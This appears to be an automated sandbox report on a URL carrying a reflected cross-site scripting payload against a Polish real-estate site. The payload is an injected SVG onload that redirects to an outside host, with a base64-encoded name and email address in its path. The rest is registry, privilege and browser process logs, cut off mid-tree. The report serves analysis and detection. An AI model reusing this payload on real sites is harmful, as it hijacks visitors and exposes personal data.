hxxps://www[.]domiporta[.]pl/dzialke/sprzedam/mazowieckie/jozefow?DeveloperName=0a%22%3E%3Csvg/onload=window[.]location[.]assign%60hxxp://WhrpME3v[.]livingled[.]com[.]au/U2lvYmhhbiBDbGFya2U=/YWNjb3VudHNAd21kb25hbGQuY28udWs=/5daxAyS7/%60%3Ea0

Analysis

max time kernel
133s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
27/06/2023, 17:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://www.domiporta.pl/dzialke/sprzedam/mazowieckie/jozefow?DeveloperName=0a%22%3E%3Csvg/onload=window.location.assign%60http://WhrpME3v.livingled.com.au/U2lvYmhhbiBDbGFya2U=/YWNjb3VudHNAd21kb25hbGQuY28udWs=/5daxAyS7/%60%3Ea0

Score

1^/10

Malware Config

Signatures

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Modifies Internet Explorer settings 1 TTPs 39 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000288d3b2652f30d4284f7c7f712a419580000000002000000000010660000000100002000000072634c2d89740958cd7caa426c9bdfe9849cc5c56ca67fca839d7ec0530015c9000000000e8000000002000020000000a48b525c35d456ff99549f4a74a22336a0643c2de7127ba1bc3aae3170e0d071200000001513d12f74d9ce8662de53a0603f406645d12be036196f041d3a0480843b843c40000000acbc3f0f966d30afc385a70b9c6acfec9e59a6cf7a32866788498004010cbac0e82f931d4d6d01baa2fa138f53f072f2a38dc412b27a266a8fcd6a4453893559	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3497221282"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31041821"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "394652294"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0b17fd21da9d901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3497221282"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31041821"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000288d3b2652f30d4284f7c7f712a4195800000000020000000000106600000001000020000000609c432317410fc79138f0e2d24903ebd1d2914cd2ee8bd0bd9e82f0415dc8dc000000000e8000000002000020000000f79fb30d73538a34e0b00b2ab232ba9a698f6e4c9d95287498a74dfa88d7cdf520000000bbb84394e1788f714a58e5aec07bf65200e315f2d0ad45035c09253e24c09abe4000000047cf03325c60d8f099caa414ae40d9cf39d1d08873b64b13ca7be07fe23fbda0a03daf981de2ecf8313885c954e3fec1fcc2634b82700153cb07600971d77e1b	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{FBECA746-1510-11EE-8852-CE83860A346F} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31041821"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3511297904"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 401b8fd21da9d901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe

Modifies registry class 36 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e8005398e082303024b98265d99428e115f0000	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Version = "1"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Downloads"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	firefox.exe

Suspicious use of AdjustPrivilegeToken 33 IoCs

description	pid	Process
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe
Token: SeDebugPrivilege	2532	firefox.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
3308	iexplore.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
3308	iexplore.exe
3308	iexplore.exe
3288	IEXPLORE.EXE
3288	IEXPLORE.EXE
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe
2532	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3308 wrote to memory of 3288	3308	iexplore.exe	85
PID 3308 wrote to memory of 3288	3308	iexplore.exe	85
PID 3308 wrote to memory of 3288	3308	iexplore.exe	85
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 1328 wrote to memory of 2532	1328	firefox.exe	89
PID 2532 wrote to memory of 2792	2532	firefox.exe	90
PID 2532 wrote to memory of 2792	2532	firefox.exe	90
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91
PID 2532 wrote to memory of 5072	2532	firefox.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://www.domiporta.pl/dzialke/sprzedam/mazowieckie/jozefow?DeveloperName=0a%22%3E%3Csvg/onload=window.location.assign%60http://WhrpME3v.livingled.com.au/U2lvYmhhbiBDbGFya2U=/YWNjb3VudHNAd21kb25hbGQuY28udWs=/5daxAyS7/%60%3Ea0
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3308 CREDAT:17410 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:3288

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.0.1260911463\244379537" -parentBuildID 20221007134813 -prefsHandle 1836 -prefMapHandle 1828 -prefsLen 20890 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {46659b56-84d3-4a49-92c8-137bf3de5424} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 1916 20602b19b58 gpu
    3⤵
    PID:2792
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.1.993111315\873552929" -parentBuildID 20221007134813 -prefsHandle 2304 -prefMapHandle 2300 -prefsLen 20926 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {594dd1c7-6b4d-4c53-8b23-bdc17f4123a6} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 2316 20603053258 socket
    3⤵
    PID:5072
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.2.1604080999\730210015" -childID 1 -isForBrowser -prefsHandle 3164 -prefMapHandle 3160 -prefsLen 21074 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3322680a-53f0-4974-b222-ecdbd6d9b267} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 2936 20605a30b58 tab
    3⤵
    PID:4744
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.3.1616461144\233557411" -childID 2 -isForBrowser -prefsHandle 3484 -prefMapHandle 1308 -prefsLen 26519 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c78b3d50-9df4-41ce-a57a-15a9997a428d} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 3480 206043a5258 tab
    3⤵
    PID:984
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.4.469054354\320644080" -childID 3 -isForBrowser -prefsHandle 4056 -prefMapHandle 4052 -prefsLen 26519 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {44ab3eac-c3cd-4ad1-8749-fd094325c8f9} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 3976 20674962558 tab
    3⤵
    PID:5024
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.5.1193695604\1575944078" -childID 4 -isForBrowser -prefsHandle 4872 -prefMapHandle 4852 -prefsLen 26657 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {727d02f4-1075-4bd0-85b1-16142c39db17} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 4896 20607ec8e58 tab
    3⤵
    PID:1388
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2532.7.614255428\2107005556" -childID 6 -isForBrowser -prefsHandle 5344 -prefMapHandle 5348 -prefsLen 26657 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c10409f3-49e4-4ac6-92e4-365a78778ab1} 2532 "\\.\pipe\gecko-crash-server-pipe.2532" 5336 20609081b58 tab
    3⤵
    PID:3416
- - C:\Program Files\Mozilla Firefox\firefox.exe
